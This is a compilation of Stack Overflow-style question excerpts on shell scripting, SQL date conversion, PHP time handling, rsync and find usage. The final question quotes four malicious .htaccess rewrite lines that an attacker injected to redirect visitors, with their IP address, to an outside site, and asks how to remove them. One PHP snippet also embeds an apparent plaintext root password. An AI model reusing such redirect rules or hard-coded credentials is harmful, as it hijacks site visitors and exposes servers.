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  • replace new lines with comas in shell

    - by mpapis
    I want to replace new lines in text with coma or space but do not change the last new line. I know of this question: How to replace new lines with tab characters - but it does produce an tab on end instead of new line. So far I have come with: awk 'NR>1{printf","} {printf $1} END{printf"\n"}' Is there an easier way to do this? This is not an assignment, I am just curious want to level up my scripting.

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  • Detecting when a process has finished (but not exited)

    - by Egwor
    I have a program that's run in unix (that I have no control over) that when finished prints 'Completed successfully' but does not exit. I want to automatically detect when the process finishes (by checking the output of the command), so that I can kill the process and so that I can proceed do other activities. The complexity comes because I want to be able to run multiples of these scripts concurrently. (One activity I need to do requires the script to be called with various inputs, but each time the script runs it takes a while to return, and so I want to do them in parallel) Has anyone done something similar to this? I could redirect the stderr and stdout output of the command to a temporary file which has a random file name, then tail the file and pipe to grep for the end conditions (I.e. the certain log lines). The problem is, surely tail -f would keep running, and so it would never exit. Should I poll? If so, what's the best approach?

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  • How do I convert german dates to MySQL standard dates?

    - by Kebman
    I'm importing a CSV file with dotted german dates into a MySQL database. I want the dates in the CSV to automatically be formatted correctly to the correct data type fields used by MySQL. I'm using Sequel Pro for the import. I gather I'm supposed to use the STR_TO_DATE function, but I just can't wrap my head around how to use add value or expression. German date Here are the dates in the CSV file: DD.MM.YYYY e.g.: 28.01.1978 MySQL date Here is what I want to end up with in the database: YYYY-MM-DD e.g.: 1978-01-28 Any ideas?

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  • What is the most robust way of determining the current codepage from a shell script?

    - by rewbs
    Hi all, I'd like to determine the environment's current codepage at runtime from a Unix shell script. What's the most reliable way of doing this? I'm looking into parsing environment variable $LC_ALL, but it isn't always set to a useful value, and its format seems to vary (can be <locale, or <locale.<code page, or <locale.<code page@<modifier etc...). Is there a better way? I'm essentially after a shell equivalent of what I'd get if I called nl_langinfo(CODESET) from C.

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  • Listing the content of a tar file or a directory only down to some level

    - by Tim
    I wonder how to list the content of a tar file only down to some level? I understand tar tvf mytar.tar will list all files, but sometimes I would like to only see directories down to some level. Similarly, for the command ls, how do I control the level of subdirectories that will be displayed? By default, it will only show the direct subdirectories, but not go further.

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  • Problem with cyrillic symbols in console

    - by woto
    Hi everyone, sorry for bad English. It's Ruby code. s = "???????" `touch #{s}` `cat #{s}` `cat < #{s}` Can anybody tell why it's code fails? With sh: cannot open ???????: No such file But thic code works fine s = "????????" `touch #{s}` `cat #{s}` `cat < #{s}` Problem is only when Russian symbol '?' in the word and with symobol '<' woto@woto-work:/tmp$ locale LANG=ru_RU.UTF-8 LC_CTYPE="ru_RU.UTF-8" LC_NUMERIC="ru_RU.UTF-8" LC_TIME="ru_RU.UTF-8" LC_COLLATE="ru_RU.UTF-8" LC_MONETARY="ru_RU.UTF-8" LC_MESSAGES="ru_RU.UTF-8" LC_PAPER="ru_RU.UTF-8" LC_NAME="ru_RU.UTF-8" LC_ADDRESS="ru_RU.UTF-8" LC_TELEPHONE="ru_RU.UTF-8" LC_MEASUREMENT="ru_RU.UTF-8" LC_IDENTIFICATION="ru_RU.UTF-8" LC_ALL= woto@woto-work:/tmp$ ruby -v ruby 1.8.7 (2010-01-10 patchlevel 249) [x86_64-linux] woto@woto-work:/tmp$ uname -a Linux woto-work 2.6.32-26-generic #48-Ubuntu SMP Wed Nov 24 10:14:11 UTC 2010 x86_64 GNU/Linux woto@woto-work:/tmp$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 10.04.1 LTS Release: 10.04 Codename: lucid

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  • Splitting string into array upon token

    - by Gnutt
    I'm writing a script to perform an offsite rsync backup, and whenever the rsyncline recieves some output it goes into a single variable. I then want to split that variable into an array upon the ^M token, so that I can send them to two different logger-sessions (so I get them on seperate lines in the log). My current line to perform the rsync result=rsync --del -az -e "ssh -i $cert" $source $destination 2>&1 Result in the log, when the server is unavailable ssh: connect to host offsite port 22: Connection timed out^M rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: unexplained error (code 255) at io.c(601) [sender=3.0.7]

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  • Coalesce and Case-When with To_Date not working as expected (Postgres bug?)

    - by ADTC
    I'm using Postgres 9.1. The following query does not work as expected. Coalesce should return the first non-null value. However, this query returns null (1?) instead of the date (2). select COALESCE( TO_DATE('','yyyymmdd'), --(1) TO_DATE('20130201','yyyymmdd') --(2) ); --(1) this evaluates independently to null --(2) this evaluates independently to the date, and therefore is the first non-null value What am I doing wrong? Any workaround? Edit: This may have nothing to do with Coalesce at all. I tried some experiments with Case When constructs; it turns out, Postgres has this big ugly bug where it treats TO_DATE('','yyyymmdd') as not null, even though selecting it returns null.

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  • Get file name before the extension

    - by ryanprayogo
    I have some files in the same directory (in UNIX filesystem) that looks like: a.txt.name b.xml.name c.properties.name a.txt.name2 b.xml.name2 c.properties.name2 How do I get the string before the name or name2 part using some shell command? ie. the a.txt, b.xml, c.properties part?

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  • find: missing argument to -exec

    - by Abs
    Hello all, I was helped out today with a command, but it doesn't seem to be working. This is the command: find /home/me/download/ -type f -name "*.rm" -exec ffmpeg -i {} -sameq {}.mp3 && rm {}\; The shell returns find: missing argument to `-exec' What I am basically trying to do is go through a directory recursively (if it has other directories) and run the ffmpeg command on the .rm file types and convert them to .mp3 file types. Once this is done, remove the .rm file that has just been converted. I appreciate any help on this.

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  • How can I convert (string) timestamp to mysql datetime on Windows 32 bit PHP?

    - by user239619
    I'm attempting to call LinkedIn's API and store Network Updates. Each update has a Unix timestamp that I'm retrieving as a string variable from the REST XML response. I want to convert the string timestamp to a mysql datetime format. The date() function accepts an integer as the second argument for time to be converted. However, I'm on Windows 32 bit PHP and the integer type for this platform is limited to 2147483647. $timestamp = '1293714626675'; // sample pulled from linkedin $timestamp = (int) $timestamp; // timestamp now equals 2147483647 $mysqlDatetime = date('Y-m-d H:i:s', $timestamp); // produces incorrect time Is there a better method of creating the mysql datetime in PHP? I realize that I can convert it upon insert into MySQL however, that would require changing other dependent code.

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  • SQL Server. Stored procedure to get the biweekly periods

    - by Yada
    I'm currently trying to write a stored procedure that can compute the biweekly periods when a date is passed in as a parameter. The business logic: the first Monday of the year is first day of the biweekly period. For example in 2010: period period_start period_end 1 2010-01-04 2010-01-17 2 2010-01-18 2010-01-31 3 2010-02-01 2010-02-14 .... 26 2010-12-20 2011-01-02 Passing today's date of 2010-12-31 will return 26, 2010-12-20 and 2011-01-02. I'm not too strong in T-SQL. Any help is appreciated. Thanks

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  • Run three shell script simultaneously

    - by user1419563
    I have three shell script which I am running as below- sh -x script1.sh sh -x script2.sh sh -x script3.sh So each script is executed sequentially one at a time after previous one finished executing. Problem Statement:- Is there any way I can execute all the three above scripts at same time from a single window? I just want to execute script1, script2, script3 at the same time. If you think of some cron JOB scheduling script1 at 3 AM, script2 at 3AM, script3 at 3AM (all three scripts at the same time, simultaneously). That's what I need, I need to execute all the three scripts simultaneously.

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  • Change -- to . for all files in a directory

    - by Larry
    Hello, I need to rename all the files in a directory. Some examples of the source filenames are: alpha--sometext.381928 comp--moretext.7294058 The resultant files would be renamed as: alpha.sometext.381928 comp.moretext.7294058 The number of characters before and after the -- is not consistant. The script needs to work on current installations of Ubuntu and FreeBSD. These are lean LAMP servers so only the necessary packages have been installed. Thanks

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  • How to run command in the background and notify me via email when done

    - by Abs
    Hello all, I have the following command which will take ages to run (couple of hours). I would like to make it a background process and for it to send me an email when its done. For the cherry on the top, any errors it encountered should write to a text file when an error has occurred? find . -type f -name "*.rm" -exec ./rm2mp3.sh \{} \; -exec rm \{} \; How can I do this with my above command?

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  • php/ssh2 script does not display the stdout to $stream

    - by kamal
    The following php script works for simple linux commands, like ps -ef , but when i use ./dstat -t -a , it seems to hang and i dont get the prompt back on my local machine. Kep in mind that all commands are executed over ssh on a remote host: <?php $target = time() . '_' . 'txt'; if($ssh = ssh2_connect('10.1.0.174', 22)) { if(ssh2_auth_password($ssh, 'root', 'kmoon77')) { //$stream = ssh2_exec($ssh, 'whoami'); $sCommand = 'dstat -a'; //$sCommand = 'ps -ef'; $stream = ssh2_exec($ssh, $sCommand); //$stream = ssh2_exec($ssh, 'pwd'); stream_set_blocking($stream, true); $data = ''; while($buffer = fread($stream, 4096)) { $data .= $buffer; } //fclose($stream); echo $data; // user } } ?>

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  • Linux: Find all symlinks of a given 'original' file? (reverse 'readlink')

    - by sdaau
    Hi all, Consider the following command line snippet: $ cd /tmp/ $ mkdir dirA $ mkdir dirB $ echo "the contents of the 'original' file" > orig.file $ ls -la orig.file -rw-r--r-- 1 $USER $USER 36 2010-12-26 00:57 orig.file # create symlinks in dirA and dirB that point to /tmp/orig.file: $ ln -s $(pwd)/orig.file $(pwd)/dirA/ $ ln -s $(pwd)/orig.file $(pwd)/dirB/lorig.file $ ls -la dirA/ dirB/ dirA/: total 44 drwxr-xr-x 2 $USER $USER 4096 2010-12-26 00:57 . drwxrwxrwt 20 root root 36864 2010-12-26 00:57 .. lrwxrwxrwx 1 $USER $USER 14 2010-12-26 00:57 orig.file -> /tmp/orig.file dirB/: total 44 drwxr-xr-x 2 $USER $USER 4096 2010-12-26 00:58 . drwxrwxrwt 20 root root 36864 2010-12-26 00:57 .. lrwxrwxrwx 1 $USER $USER 14 2010-12-26 00:58 lorig.file -> /tmp/orig.file At this point, I can use readling to see what is the 'original' (well, I guess the usual term here is either 'target' or 'source', but those in my mind can be opposite concepts as well, so I'll just call it 'original') file of the symlinks, i.e. $ readlink -f dirA/orig.file /tmp/orig.file $ readlink -f dirB/lorig.file /tmp/orig.file ... However, what I'd like to know is - is there a command I could run on the 'original' file, and find all the symlinks that point to it? In other words, something like (pseudo): $ getsymlinks /tmp/orig.file /tmp/dirA/orig.file /tmp/dirB/lorig.file Thanks in advance for any comments, Cheers!

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  • How to use PHP Time function to set a time variable of '09:30', add a specific amount of seconds and

    - by Henry
    Hi guys, hopefully you can help me here. I have some code (please see below) which takes the current time, then adds specific seconds to the time and re-displays the time 1 minute in the future. Instead of the time being the current time, I want it to be a time which I set - say 9:30. Then I want to be able to add, for example 65 seconds and it shows me 9:31. Please can you show me how to change it from current time, to a specific time I can set myself. Thank you. <?php $my_time = date('h:i:s',time()); $seconds2add = 65; $new_time= strtotime($my_time); $new_time+=$seconds2add; echo date('h:i:s',$new_time); ?>

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  • Is it possible to get a graphical representation of gprof results?

    - by Werner
    Hi, I am interested in getting the profiling of some number crunching program. I compiled it with -g and -pg options and linked it and got it gmon.out. After reading the info (plain text) it looks a bit ugly. I wonder if there are some open source tools for getting a graphical representation of the 10 functions where the program spends the most of the time as well as a flux diagram. Thanks

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  • Linux How to print all the files with the same prefix after searching for them?

    - by Alyx
    I need to search through a directory which contains many sub directories, each which contain files. The files read as follows question1234_01, where 1234 are random digits and the suffix _01 is the number of messages that contain the prefix, meaning they are apart of the same continuing thread. find . -name 'quest*' | cut -d_ -f1 | awk '{print $1}' | uniq -c | sort -n example output: 1 quest1234 10 quest1523 This searches for all the files then sorts them in order. What I want to do is print all the files which end up having the most occurrences, in my example the one with 10 matches. So it should only output quest1523_01 - 11

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  • How to get line count from variable (from MYSQL query)?

    - by Mint
    My problematic code: testMYSQL=`mysql -u $mysqlUser -p$mysqlPass -h $mysqlHost --skip-column-names --batch -D $mysqlDB -e "SELECT $select FROM $mysqlTable WHERE nameTXT='test';"` $testMYSQL now contains: test test test Then I do: TEST=$(echo $testMYSQL | wc -l) echo "$TEST" I would of thought that would work, but it doesn't, it returns 1 But if I put this into $testMYSQL: "test\ntest\ntest" it will say 3… Whats going on here? does MYSQL not use new lines? PS, I know I can use a for loop to loop though the lines then count up the lines that way, but I was hoping for a simpler solution like wc

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  • Removing a text block from a file : sed ?

    - by user555338
    Hi, Following an attack, I need to remove 4 lines of text added to .htaccess files in my site, and was thinking SED would be the way to go, but cannot see how in spire of many attempts. The added lines are RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://targeturlhere.net/%{REMOTE_ADDR} I managed to create the script to remove added htaccess files containing those lines only, but for existing htaccess files in which that was appended I have to edit the file and cannot delete it. I cannot just remove line by line nor use "RewriteEngine On" as the start marker, as this instruction "RewriteEngine On" is sometimes legitimate elsewhere in the file. In most cases those lines are the last, but I guess in other files they could be in the middle, so I was trying to remove exactly that block - and have a script I could reuse in a similar case. (Edit: my 4 lines are below one another, no blank line in between but the editor here seems to either show no breakline, or one adding a blank line) Any hint or tip ? Thanks.

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